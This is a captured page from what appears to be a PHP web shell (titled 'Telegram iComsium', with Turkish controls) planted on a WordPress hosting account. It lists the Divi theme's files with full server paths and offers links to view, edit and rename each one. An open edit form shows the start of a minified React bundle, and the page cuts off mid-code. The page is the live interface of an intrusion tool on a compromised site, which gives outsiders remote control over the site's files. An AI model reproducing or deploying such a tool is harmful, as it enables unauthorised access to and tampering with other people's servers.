<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: index-ylkQAdB0.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">function dO(e,t){for(var r=0;r&lt;t.length;r++){const n=t[r];if(typeof n!=&quot;string&quot;&amp;&amp;!Array.isArray(n)){for(const i in n)if(i!==&quot;default&quot;&amp;&amp;!(i in e)){const s=Object.getOwnPropertyDescriptor(n,i);s&amp;&amp;Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=&gt;n[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}))}(function(){const t=document.createElement(&quot;link&quot;).relList;if(t&amp;&amp;t.supports&amp;&amp;t.supports(&quot;modulepreload&quot;))return;for(const i of document.querySelectorAll(&#039;link[rel=&quot;modulepreload&quot;]&#039;))n(i);new MutationObserver(i=&gt;{for(const s of i)if(s.type===&quot;childList&quot;)for(const o of s.addedNodes)o.tagName===&quot;LINK&quot;&amp;&amp;o.rel===&quot;modulepreload&quot;&amp;&amp;n(o)}).observe(document,{childList:!0,subtree:!0});function r(i){const s={};return i.integrity&amp;&amp;(s.integrity=i.integrity),i.referrerPolicy&amp;&amp;(s.referrerPolicy=i.referrerPolicy),i.crossOrigin===&quot;use-credentials&quot;?s.credentials=&quot;include&quot;:i.crossOrigin===&quot;anonymous&quot;?s.credentials=&quot;omit&quot;:s.credentials=&quot;same-origin&quot;,s}function n(i){if(i.ep)return;i.ep=!0;const s=r(i);fetch(i.href,s)}})();var qx=typeof globalThis&lt;&quot;u&quot;?globalThis:typeof window&lt;&quot;u&quot;?window:typeof global&lt;&quot;u&quot;?global:typeof self&lt;&quot;u&quot;?self:{};function ma(e){return e&amp;&amp;e.__esModule&amp;&amp;Object.prototype.hasOwnProperty.call(e,&quot;default&quot;)?e.default:e}function $ne(e){if(Object.prototype.hasOwnProperty.call(e,&quot;__esModule&quot;))return e;var t=e.default;if(typeof t==&quot;function&quot;){var r=function n(){var i=!1;try{i=this instanceof n}catch{}return i?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,&quot;__esModule&quot;,{value:!0}),Object.keys(e).forEach(function(n){var i=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,i.get?i:{enumerable:!0,get:function(){return e[n]}})}),r}var rI={exports:{}},wx={},nI={exports:{}},qn={};var nD;function Hne(){if(nD)return qn;nD=1;var e=Symbol.for(&quot;react.element&quot;),t=Symbol.for(&quot;react.portal&quot;),r=Symbol.for(&quot;react.fragment&quot;),n=Symbol.for(&quot;react.strict_mode&quot;),i=Symbol.for(&quot;react.profiler&quot;),s=Symbol.for(&quot;react.provider&quot;),o=Symbol.for(&quot;react.context&quot;),l=Symbol.for(&quot;react.forward_ref&quot;),c=Symbol.for(&quot;react.suspense&quot;),d=Symbol.for(&quot;react.memo&quot;),u=Symbol.for(&quot;react.lazy&quot;),h=Symbol.iterator;function p(V){return V===null||typeof V!=&quot;object&quot;?null:(V=h&amp;&amp;V[h]||V[&quot;@@iterator&quot;],typeof V==&quot;function&quot;?V:null)}var A={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},y=Object.assign,v={};function w(V,ue,de){this.props=V,this.context=ue,this.refs=v,this.updater=de||A}w.prototype.isReactComponent={},w.prototype.setState=function(V,ue){if(typeof V!=&quot;object&quot;&amp;&amp;typeof V!=&quot;function&quot;&amp;&amp;V!=null)throw Error(&quot;setState(...): takes an object of state variables to update or a function which returns an object of state variables.&quot;);this.updater.enqueueSetState(this,V,ue,&quot;setState&quot;)},w.prototype.forceUpdate=function(V){this.updater.enqueueForceUpdate(this,V,&quot;forceUpdate&quot;)};function j(){}j.prototype=w.prototype;function E(V,ue,de){this.props=V,this.context=ue,this.refs=v,this.updater=de||A}var S=E.prototype=new j;S.constructor=E,y(S,w.prototype),S.isPureReactComponent=!0;var _=Array.isArray,C=Object.prototype.hasOwnProperty,Q={current:null},R={key:!0,ref:!0,__self:!0,__source:!0};function T(V,ue,de){var xe,_e={},Ce=null,we=null;if(ue!=null)for(xe in ue.ref!==void 0&amp;&amp;(we=ue.ref),ue.key!==void 0&amp;&amp;(Ce=&quot;&quot;+ue.key),ue)C.call(ue,xe)&amp;&amp;!R.hasOwnProperty(xe)&amp;&amp;(_e[xe]=ue[xe]);var ve=arguments.length-2;if(ve===1)_e.children=de;else if(1&lt;ve){for(var Ne=Array(ve),Ie=0;Ie&lt;ve;Ie++)Ne[Ie]=arguments[Ie+2];_e.children=Ne}if(V&amp;&amp;V.defaultProps)for(xe in ve=V.defaultProps,ve)_e[xe]===void 0&amp;&amp;(_e[xe]=ve[xe]);return{$$typeof:e,type:V,key:Ce,ref:we,props:_e,_owner:Q.current}}function M(V,ue){return{$$typeof:e,type:V.type,key:ue,ref:V.ref,props:V.props,_owner:V._owner}}function O(V){return typeof V==&quot;object&quot;&amp;&amp;V!==null&amp;&amp;V.$$typeof===e}function $(V){var ue={&quot;=&quot;:&quot;=0&quot;,&quot;:&quot;:&quot;=2&quot;};return&quot;$&quot;+V.replace(/[=:]/g,function(de){return ue[de]})}var P=/\/+/g;function L(V,ue){return typeof V==&quot;object&quot;&amp;&amp;V!==null&amp;&amp;V.key!=null?$(&quot;&quot;+V.key):ue.toString(36)}function X(V,ue,de,xe,_e){var Ce=typeof V;(Ce===&quot;undefined&quot;||Ce===&quot;boolean&quot;)&amp;&amp;(V=null);var we=!1;if(V===null)we=!0;else switch(Ce){case&quot;string&quot;:case&quot;number&quot;:we=!0;break;case&quot;object&quot;:switch(V.$$typeof){case e:case t:we=!0}}if(we)return we=V,_e=_e(we),V=xe===&quot;&quot;?&quot;.&quot;+L(we,0):xe,_(_e)?(de=&quot;&quot;,V!=null&amp;&amp;(de=V.replace(P,&quot;$&amp;/&quot;)+&quot;/&quot;),X(_e,ue,de,&quot;&quot;,function(Ie){return Ie})):_e!=null&amp;&amp;(O(_e)&amp;&amp;(_e=M(_e,de+(!_e.key||we&amp;&amp;we.key===_e.key?&quot;&quot;:(&quot;&quot;+_e.key).replace(P,&quot;$&amp;/&quot;)+&quot;/&quot;)+V)),ue.push(_e)),1;if(we=0,xe=xe===&quot;&quot;?&quot;.&quot;:xe+&quot;:&quot;,_(V))for(var ve=0;ve&lt;V.length;ve++){Ce=V[ve];var Ne=xe+L(Ce,ve);we+=X(Ce,ue,de,Ne,_e)}else if(Ne=p(V),typeof Ne==&quot;function&quot;)for(V=Ne.call(V),ve=0;!(Ce=V.next()).done;)Ce=Ce.value,Ne=xe+L(Ce,ve++),we+=X(Ce,ue,de,Ne,_e);else if(Ce===&quot;object&quot;)throw ue=String(V),Error(&quot;Objects are not valid as a React child (found: &quot;+(ue===&quot;[object Object]&quot;?&quot;object with keys {&quot;+Object.keys(V).join(&quot;, &quot;)+&quot;}&quot;:ue)+&quot;). If you meant to render a collection of children, use an array instead.&quot;);return we}function W(V,ue,de){if(V==null)return V;var xe=[],_e=0;return 